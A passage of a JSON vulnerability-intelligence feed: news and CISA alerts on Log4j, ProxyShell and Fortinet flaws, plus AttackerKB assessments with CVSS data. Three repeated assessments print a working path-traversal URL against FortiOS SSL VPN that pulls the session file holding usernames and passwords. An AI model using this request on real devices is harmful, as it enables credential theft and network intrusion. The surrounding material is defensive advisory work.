of incident response firm BreachQuest, said. \"Similar to Log4j, this summer the original [PrintNightmare](<https://thehackernews.com/2021/07/researcher-uncover-yet-another.html>) vulnerability disclosure led to the discovery of multiple additional distinct vulnerabilities. The discovery of additional vulnerabilities in Log4j shouldn't cause concern about the security of log4j itself. If anything, Log4j is more secure because of the additional attention paid by researchers.\"\n\nThe latest development comes as a number of threat actors have piled on the Log4j flaws to mount a variety of attacks, including ransomware infections involving the Russia-based Conti group and a new ransomware strain named Khonsari. What's more, the Log4j remote code execution flaw has also opened the door to a third ransomware family known as TellYouThePass that's being used in attacks against Windows and Linux devices, according to researchers from [Sangfor](<https://www.secpulse.com/archives/171335.html>) and [Curated Intel](<https://www.curatedintel.org/2021/12/tellyouthepass-ransomware-via-log4shell.html>).\n\n## Bitdefender Honeypots Signal Active Log4Shell 0-Day Attacks Underway\n\nThe easily exploited, ubiquitous vulnerability, aside from spawning as many as 60 variations, has presented a perfect window of opportunity for adversaries, with Romanian cybersecurity firm Bitdefender noting that more than 50% of the attacks are leveraging the Tor anonymity service to mask their true origins.\n\n[![Log4j Vulnerability](https://thehackernews.com/new-images/img/a/AVvXsEgNPE2pC0Ku_ivYoF8O58gjuW50tDKEeLPrUszibwtwZAlhHvzaJrWZlCMNJrF0C0NEu0HYbx1fjUwY_G79NLw59eWriIs7wF5AX9ZOPhsKj4MfUsGeMpfWxCDrZo7JK77zBql24kKMdtpaoMKJA6TXNraauizxkWDmpGm7Q7PYpzqVR9TVRySlpz7o=s728-e1000)](<https://thehackernews.com/new-images/img/a/AVvXsEgNPE2pC0Ku_ivYoF8O58gjuW50tDKEeLPrUszibwtwZAlhHvzaJrWZlCMNJrF0C0NEu0HYbx1fjUwY_G79NLw59eWriIs7wF5AX9ZOPhsKj4MfUsGeMpfWxCDrZo7JK77zBql24kKMdtpaoMKJA6TXNraauizxkWDmpGm7Q7PYpzqVR9TVRySlpz7o>)\n\n\"In other words, threat actors exploiting Log4j are routing their attacks through machines that are closer to their intended targets and just because we don't see countries commonly associated with cybersecurity threats at the top of the list does not mean that attacks did not originate there,\" Martin Zugec, technical solutions director at Bitdefender, [said](<https://businessinsights.bitdefender.com/log4shell-the-call-is-coming-from-inside-the-house>).\n\nAccording to telemetry data collected between December 11 and December 15, Germany and the U.S. alone accounted for 60% of all the exploitation attempts. The most common attack targets during the observation period were the U.S., Canada, the U.K., Romania, Germany, Australia, France, the Netherlands, Brazil, and Italy.\n\n## Google: Over 35,000 Java Packages Affected by the Log4j Flaw\n\nThe development also coincides with an analysis from Google's Open Source Insights Team, which found that roughly 35,863 Java packages \u2014 accounting for over 8% of the Maven Central repository \u2014 use vulnerable versions of the Apache Log4j library. Of the affected artifacts, only around 7,000 packages have a direct dependency on Log4j.\n\n[![Log4j Vulnerability](https://thehackernews.com/new-images/img/a/AVvXsEiZtL6d9DB2VIh84ClMGtP3UHhwCXzUfx9pk54dOhr-1m4zlml00t3CdzSkwuK4GdAqjdzDa3M0qgUyiad3rl4G-JmOfuvVnBqQDW7bfvjIEy7bQz_AXTwLr_Gx_JfQ7EQT5zKvpQEgnJtqh5b1A_i8b8kdB-iz_ohiztQEIQ4miCopLEAiKWj0e6td=s728-e1000)](<https://thehackernews.com/new-images/img/a/AVvXsEiZtL6d9DB2VIh84ClMGtP3UHhwCXzUfx9pk54dOhr-1m4zlml00t3CdzSkwuK4GdAqjdzDa3M0qgUyiad3rl4G-JmOfuvVnBqQDW7bfvjIEy7bQz_AXTwLr_Gx_JfQ7EQT5zKvpQEgnJtqh5b1A_i8b8kdB-iz_ohiztQEIQ4miCopLEAiKWj0e6td>)\n\n\"User's lack of visibility into their dependencies and transitive dependencies has made patching difficult; it has also made it difficult to determine the full blast radius of this vulnerability,\" Google's James Wetter and Nicky Ringland [said](<https://security.googleblog.com/2021/12/understanding-impact-of-apache-log4j.html>). But on the positive side of things, 2,620 of the impacted packages have already been fixed less than a week after disclosure.\n\n\"There will likely be some time before we understand the full fallout of the log4j vulnerability, but only because it's embedded in so much software,\" Williams said. \"This has nothing to do with threat actor malware. It has to do with the difficulty in finding the myriad places the library is embedded. The vulnerability itself will provide initial access for threat actors who will later perform privilege escalation and lateral movement \u2013 that's where the real risk is.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-12-18T12:18:00", "type": "thn", "title": "New Local Attack Vector Expands the Attack Surface of Log4j Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-4104", "CVE-2021-44228", "CVE-2021-45046", "CVE-2021-45105"], "modified": "2021-12-20T05:03:39", "id": "THN:76D7572EDBE770410D6F0518DAD8B0AD", "href": "https://thehackernews.com/2021/12/new-local-attack-vector-expands-attack.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "cisa": [{"lastseen": "2023-02-09T14:01:25", "description": "The Federal Bureau of Investigation (FBI) and CISA have released a [Joint Cybersecurity Advisory](<https://www.ic3.gov/Media/News/2021/210402.pdf>) (CSA) to warn users and administrators of the likelihood that advanced persistent threat (APT) actors are actively exploiting known Fortinet FortiOS vulnerabilities [CVE-2018-13379](<https://vulners.com/cve/CVE-2018-13379>), [CVE-2020-12812](<https://vulners.com/cve/CVE-2020-12812>), and [CVE-2019-5591](<https://vulners.com/cve/CVE-2019-5591>). APT actors may use these vulnerabilities or other common exploitation techniques to gain initial access to multiple government, commercial, and technology services. Gaining initial access pre-positions the APT actors to conduct future attacks.\n\nCISA encourages users and administrators to review [Joint CSA AA21-092A: APT Actors Exploit Vulnerabilities to Gain Initial Access for Future Attacks](<https://www.ic3.gov/Media/News/2021/210402.pdf>) and implement the recommended mitigations.\n\nThis product is provided subject to this Notification and this [Privacy & Use](<https://www.dhs.gov/privacy-policy>) policy.\n\n**Please share your thoughts.**\n\nWe recently updated our anonymous [product survey](<https://www.surveymonkey.com/r/CISA-cyber-survey?product=https://us-cert.cisa.gov/ncas/current-activity/2021/04/02/fbi-cisa-joint-advisory-exploitation-fortinet-fortios>); we'd welcome your feedback.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-04-02T00:00:00", "type": "cisa", "title": "FBI-CISA Joint Advisory on Exploitation of Fortinet FortiOS Vulnerabilities ", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2019-5591", "CVE-2020-12812"], "modified": "2021-04-02T00:00:00", "id": "CISA:24BBE0D109CEB29CF9FC28CEA2AD0CFF", "href": "https://us-cert.cisa.gov/ncas/current-activity/2021/04/02/fbi-cisa-joint-advisory-exploitation-fortinet-fortios", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-08-22T22:07:03", "description": "Malicious cyber actors are actively exploiting the following ProxyShell vulnerabilities: [CVE-2021-34473](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473>), [CVE-2021-34523](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34523>), and [CVE-2021-31207](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-31207>). An attacker exploiting these vulnerabilities could execute arbitrary code on a vulnerable machine. CISA strongly urges organizations to identify vulnerable systems on their networks and immediately apply [Microsoft's Security Update from May 2021](<https://us-cert.cisa.gov/ncas/current-activity/2021/05/11/microsoft-releases-may-2021-security-updates>)\u2014which remediates all three ProxyShell vulnerabilities\u2014to protect against these attacks. \n\n\nThis product is provided subject to this Notification and this [Privacy & Use](<https://www.dhs.gov/privacy-policy>) policy.\n\n**Please share your thoughts.**\n\nWe recently updated our anonymous [product survey](<https://www.surveymonkey.com/r/CISA-cyber-survey?product=https://us-cert.cisa.gov/ncas/current-activity/2021/08/21/urgent-protect-against-active-exploitation-proxyshell>); we'd welcome your feedback.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-08-21T00:00:00", "type": "cisa", "title": "Urgent: Protect Against Active Exploitation of ProxyShell Vulnerabilities", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2021-08-21T00:00:00", "id": "CISA:8C51810D4AACDCCDBF9D526B4C21660C", "href": "https://us-cert.cisa.gov/ncas/current-activity/2021/08/21/urgent-protect-against-active-exploitation-proxyshell", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-12-22T18:13:52", "description": "CISA, the Federal Bureau of Investigation (FBI), the National Security Agency (NSA), and the cybersecurity authorities of Australia, Canada, New Zealand, and the United Kingdom have released a [joint Cybersecurity Advisory](<https://www.cisa.gov/uscert/ncas/alerts/aa21-356a>) in response to multiple vulnerabilities in Apache\u2019s Log4j software library. Malicious cyber actors are actively scanning networks to potentially exploit [CVE-2021-44228](<https://nvd.nist.gov/vuln/detail/CVE-2021-44228>) (known as \u201cLog4Shell\u201d), [CVE-2021-45046](<https://nvd.nist.gov/vuln/detail/CVE-2021-45046>), and [CVE-2021-45105](<https://nvd.nist.gov/vuln/detail/CVE-2021-45105>) in vulnerable systems. According to public reporting, Log4Shell and CVE-2021-45046 are being actively exploited.\n\nThis advisory expands on [CISA\u2019s previously published guidance](<https://www.cisa.gov/uscert/apache-log4j-vulnerability-guidance>), drafted in collaboration with industry members of CISA\u2019s [Joint Cyber Defense Collaborative (JCDC](<https://www.cisa.gov/jcdc>)), by detailing recommended steps that vendors and organizations with information technology, operational technology/industrial control systems, and cloud assets should take to respond to these vulnerabilities. \n\nCISA, FBI, NSA, the Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the Computer Emergency Response Team New Zealand (CERT NZ), the New Zealand National Cyber Security Centre (NZ NCSC), and the United Kingdom\u2019s National Cyber Security Centre (NCSC-UK) assess that exploitation of these vulnerabilities, especially Log4Shell, is likely to increase and continue over an extended period. CISA and its partners strongly urge all organizations to review [AA21-356A: Mitigating Log4Shell and Other Log4j-Related Vulnerabilities](<https://www.cisa.gov/uscert/ncas/alerts/aa21-356a>) for detailed mitigations.\n\nThis product is provided subject to this Notification and this [Privacy & Use](<https://www.dhs.gov/privacy-policy>) policy.\n\n**Please share your thoughts.**\n\nWe recently updated our anonymous [product survey](<https://www.surveymonkey.com/r/CISA-cyber-survey?product=https://us-cert.cisa.gov/ncas/current-activity/2021/12/22/mitigating-log4shell-and-other-log4j-related-vulnerabilities>); we'd welcome your feedback.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-12-22T00:00:00", "type": "cisa", "title": "Mitigating Log4Shell and Other Log4j-Related Vulnerabilities", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-44228", "CVE-2021-45046", "CVE-2021-45105"], "modified": "2021-12-22T00:00:00", "id": "CISA:918B5EC3622C761B0424597D3F7AFF7C", "href": "https://us-cert.cisa.gov/ncas/current-activity/2021/12/22/mitigating-log4shell-and-other-log4j-related-vulnerabilities", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "attackerkb": [{"lastseen": "2021-10-22T16:50:56", "description": "An Improper Limitation of a Pathname to a Restricted Directory (\u201cPath Traversal\u201d) in Fortinet FortiOS 6.0.0 to 6.0.4, 5.6.3 to 5.6.7 under SSL VPN web portal allows an unauthenticated attacker to download system files via special crafted HTTP resource requests.\n\n \n**Recent assessments:** \n \n**bulw4rk** at March 25, 2020 8:04pm UTC reported:\n\n**Description**\n\nDue to a pre-authenticated Path Trasversal vulnerability under the SSL VPN portal on FortiOS, an attacker is able to pull arbitrary system files from the file system. One of the most critical files which an attacker may pull is \u201csslvpn_websessions\u201d which contains session information including usernames and password.\n\nOnce the attacker has obtained the credentials from this file, he can authenticated with those credentials, compromising the corporate perimeter.\n\n**Mitigation**\n\n * Upgrade to FortiOS 5.4.13, 5.6.8, 6.0.5 or 6.2.0 and above. \n\n * Enable 2FA. Note the attacker will not be able to log in to the VPN, but the obtained credentials are still valid (potencial domain creds) to access corporate mail, etc. \n\n\n**Affected Systems**\n\n * FortiOS 6.0: 6.0.0 to 6.0.4 \n\n * FortiOS 5.6: 5.6.3 to 5.6.7 \n\n * FortiOS 5.4: 5.4.6 to 5.4.12 \n\n\nNOTE: Only if the SSL VPN service (web-mode or tunnel-mode) is enabled.\n\n**PoC**\n\nThere are some public working exploits for this vulnerability, targeting the \u201csslvpn_websessions\u201d system file.\n\nAn attacker would access the following URL:\n\n * https://`<IP_ADDRESS>`/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession \n\n\nAnd after some parsing to the binary file, something like the following output would be obtained:\n\n![LOGO](https://devco.re/assets/img/blog/20190807/4.png)\n\nNOTE: Example image obtained from <https://devco.re/blog/2019/08/09/attacking-ssl-vpn-part-2-breaking-the-Fortigate-ssl-vpn/>\n\n**gwillcox-r7** at November 04, 2020 4:04pm UTC reported:\n\n**Description**\n\nDue to a pre-authenticated Path Trasversal vulnerability under the SSL VPN portal on FortiOS, an attacker is able to pull arbitrary system files from the file system. One of the most critical files which an attacker may pull is \u201csslvpn_websessions\u201d which contains session information including usernames and password.\n\nOnce the attacker has obtained the credentials from this file, he can authenticated with those credentials, compromising the corporate perimeter.\n\n**Mitigation**\n\n * Upgrade to FortiOS 5.4.13, 5.6.8, 6.0.5 or 6.2.0 and above. \n\n * Enable 2FA. Note the attacker will not be able to log in to the VPN, but the obtained credentials are still valid (potencial domain creds) to access corporate mail, etc. \n\n\n**Affected Systems**\n\n * FortiOS 6.0: 6.0.0 to 6.0.4 \n\n * FortiOS 5.6: 5.6.3 to 5.6.7 \n\n * FortiOS 5.4: 5.4.6 to 5.4.12 \n\n\nNOTE: Only if the SSL VPN service (web-mode or tunnel-mode) is enabled.\n\n**PoC**\n\nThere are some public working exploits for this vulnerability, targeting the \u201csslvpn_websessions\u201d system file.\n\nAn attacker would access the following URL:\n\n * https://`<IP_ADDRESS>`/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession \n\n\nAnd after some parsing to the binary file, something like the following output would be obtained:\n\n![LOGO](https://devco.re/assets/img/blog/20190807/4.png)\n\nNOTE: Example image obtained from <https://devco.re/blog/2019/08/09/attacking-ssl-vpn-part-2-breaking-the-Fortigate-ssl-vpn/>\n\n**ccondon-r7** at November 22, 2020 6:52pm UTC reported:\n\n**Description**\n\nDue to a pre-authenticated Path Trasversal vulnerability under the SSL VPN portal on FortiOS, an attacker is able to pull arbitrary system files from the file system. One of the most critical files which an attacker may pull is \u201csslvpn_websessions\u201d which contains session information including usernames and password.\n\nOnce the attacker has obtained the credentials from this file, he can authenticated with those credentials, compromising the corporate perimeter.\n\n**Mitigation**\n\n * Upgrade to FortiOS 5.4.13, 5.6.8, 6.0.5 or 6.2.0 and above. \n\n * Enable 2FA. Note the attacker will not be able to log in to the VPN, but the obtained credentials are still valid (potencial domain creds) to access corporate mail, etc. \n\n\n**Affected Systems**\n\n * FortiOS 6.0: 6.0.0 to 6.0.4 \n\n * FortiOS 5.6: 5.6.3 to 5.6.7 \n\n * FortiOS 5.4: 5.4.6 to 5.4.12 \n\n\nNOTE: Only if the SSL VPN service (web-mode or tunnel-mode) is enabled.\n\n**PoC**\n\nThere are some public working exploits for this vulnerability, targeting the \u201csslvpn_websessions\u201d system file.\n\nAn attacker would access the following URL:\n\n * https://`<IP_ADDRESS>`/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession \n\n\nAnd after some parsing to the binary file, something like the following output would be obtained:\n\n![LOGO](https://devco.re/assets/img/blog/20190807/4.png)\n\nNOTE: Example image obtained from <https://devco.re/blog/2019/08/09/attacking-ssl-vpn-part-2-breaking-the-Fortigate-ssl-vpn/>\n\nAssessed Attacker Value: 5 \nAssessed Attacker Value: 5Assessed Attacker Value: 5\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2019-06-04T00:00:00", "type": "attackerkb", "title": "CVE-2018-13379 Path Traversal in Fortinet FortiOS", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2019-5591", "CVE-2020-12812"], "modified": "2021-07-27T00:00:00", "id": "AKB:35B88369-C440-49C0-98FF-C50E258FB32C", "href": "https://attackerkb.com/topics/VEc81wfDS7/cve-2018-13379-path-traversal-in-fortinet-fortios/rapid7-analysis", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-09-11T11:48:33", "description": "A Default Configuration vulnerability in FortiOS may allow an unauthenticated attacker on the same subnet to intercept sensitive information by impersonating the LDAP server.\n\n \n**Recent assessments:** \n \n**ccondon-r7** at April 05, 2021 2:16pm UTC reported:\n\nOne of three vulnerabilities CISA and the FBI [have warned](<https://us-cert.cisa.gov/ncas/current-activity/2021/04/02/fbi-cisa-joint-advisory-exploitation-fortinet-fortios>) are being exploited by APTs to gain initial access to government and other services. The other two vulnerabilities in the alert are [CVE-2018-13379](<https://attackerkb.com/topics/VEc81wfDS7/cve-2018-13379-path-traversal-in-fortinet-fortios?referrer=5591>), a pre-authentication path traversal bug that has been actively and widely exploited for years now, and [CVE-2020-12812](<https://attackerkb.com/topics/8qnr47UsVL/cve-2020-12812#view-assessment-91b4f49f-9243-4d47-9084-3ef8026411c2>) (an MFA bypass).\n\nAssessed Attacker Value: 0 \nAssessed Attacker Value: 0Assessed Attacker Value: 0\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-08-14T00:00:00", "type": "attackerkb", "title": "CVE-2019-5591", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2019-5591", "CVE-2020-12812"], "modified": "2021-04-13T00:00:00", "id": "AKB:91756851-9B25-4801-B911-E3226A0656B5", "href": "https://attackerkb.com/topics/sWpteHiN5z/cve-2019-5591", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-08-07T00:04:03", "description": "ProxyShell is an exploit chain targeting on-premise installations of Microsoft Exchange Server. It was demonstrated by Orange Tsai at Pwn2Own in April 2021 and is comprised of three CVEs that, when chained, allow a remote unauthenticated attacker to execute arbitrary code on vulnerable targets. The three CVEs are CVE-2021-34473, CVE-2021-34523, and CVE-2021-31207.\n\nDetails are available in Orange Tsai\u2019s [Black Hat USA 2020 talk](<https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-ProxyLogon-Is-Just-The-Tip-Of-The-Iceberg-A-New-Attack-Surface-On-Microsoft-Exchange-Server.pdf>) and follow-on [blog series](<https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html>). ProxyShell is being broadly exploited in the wild as of August 12, 2021.\n\n \n**Recent assessments:** \n \n**ccondon-r7** at August 12, 2021 9:19pm UTC reported:\n\nCheck out the [Rapid7 analysis](<https://attackerkb.com/topics/xbr3tcCFT3/proxyshell-exploit-chain/rapid7-analysis>) for details on the exploit chain. Seems like a lot of the PoC implementations so far are using admin mailboxes, but I\u2019d imagine folks are going to start finding ways around that soon.\n\nAssessed Attacker Value: 5 \nAssessed Attacker Value: 5Assessed Attacker Value: 4\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-08-20T00:00:00", "type": "attackerkb", "title": "ProxyShell Exploit Chain", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2021-08-20T00:00:00", "id": "AKB:116FDAE6-8C6E-473E-8D39-247560D01C09", "href": "https://attackerkb.com/topics/xbr3tcCFT3/proxyshell-exploit-chain", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-06-23T15:01:24", "description": "An improper authentication vulnerability in SSL VPN in FortiOS 6.4.0, 6.2.0 to 6.2.3, 6.0.9 and below may result in a user being able to log in successfully without being prompted for the second factor of authentication (FortiToken) if they changed the case of their username.\n\n \n**Recent assessments:** \n \n**wvu-r7** at July 28, 2020 6:12pm UTC reported:\n\nThe advisory isn\u2019t worded very well, but it seems that logging in to the SSL VPN with a different-case username than set will allow 2FA to be bypassed, opening up the VPN to password attacks, such as password spraying.\n\nSuccessful VPN access to an internal network can open up a lot of doors for an attacker, turning an external compromise into an authorized internal one. Many corporate services are hidden behind VPN. That said, proper network segmentation and secondary access controls can mitigate some of the risk. The \u201cattacker value\u201d is \u201cmedium\u201d because this is just a 2FA bypass and also because of the listed caveats. It isn\u2019t terribly useful on its own.\n\nThe [KB article](<https://kb.fortinet.com/kb/documentLink.do?externalID=FD37033>) is written much better.\n\n**ccondon-r7** at April 05, 2021 2:09pm UTC reported:\n\nThe advisory isn\u2019t worded very well, but it seems that logging in to the SSL VPN with a different-case username than set will allow 2FA to be bypassed, opening up the VPN to password attacks, such as password spraying.\n\nSuccessful VPN access to an internal network can open up a lot of doors for an attacker, turning an external compromise into an authorized internal one. Many corporate services are hidden behind VPN. That said, proper network segmentation and secondary access controls can mitigate some of the risk. The \u201cattacker value\u201d is \u201cmedium\u201d because this is just a 2FA bypass and also because of the listed caveats. It isn\u2019t terribly useful on its own.\n\nThe [KB article](<https://kb.fortinet.com/kb/documentLink.do?externalID=FD37033>) is written much better.\n\nAssessed Attacker Value: 3 \nAssessed Attacker Value: 3Assessed Attacker Value: 5\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-07-24T00:00:00", "type": "attackerkb", "title": "CVE-2020-12812", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2020-12812"], "modified": "2020-07-29T00:00:00", "id": "AKB:B54A15A1-8D06-4902-83F9-DC10E40FA81A", "href": "https://attackerkb.com/topics/8qnr47UsVL/cve-2020-12812", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "rapid7blog": [{"lastseen": "2021-10-06T15:02:24", "description": "![For Microsoft Exchange Server Vulnerabilities, Patching Remains Patchy](https://blog.rapid7.com/content/images/2021/10/exchange-server.jpg)\n\nIf you've been keeping tabs on the state of vulnerabilities, you've probably noticed that Microsoft Exchange has 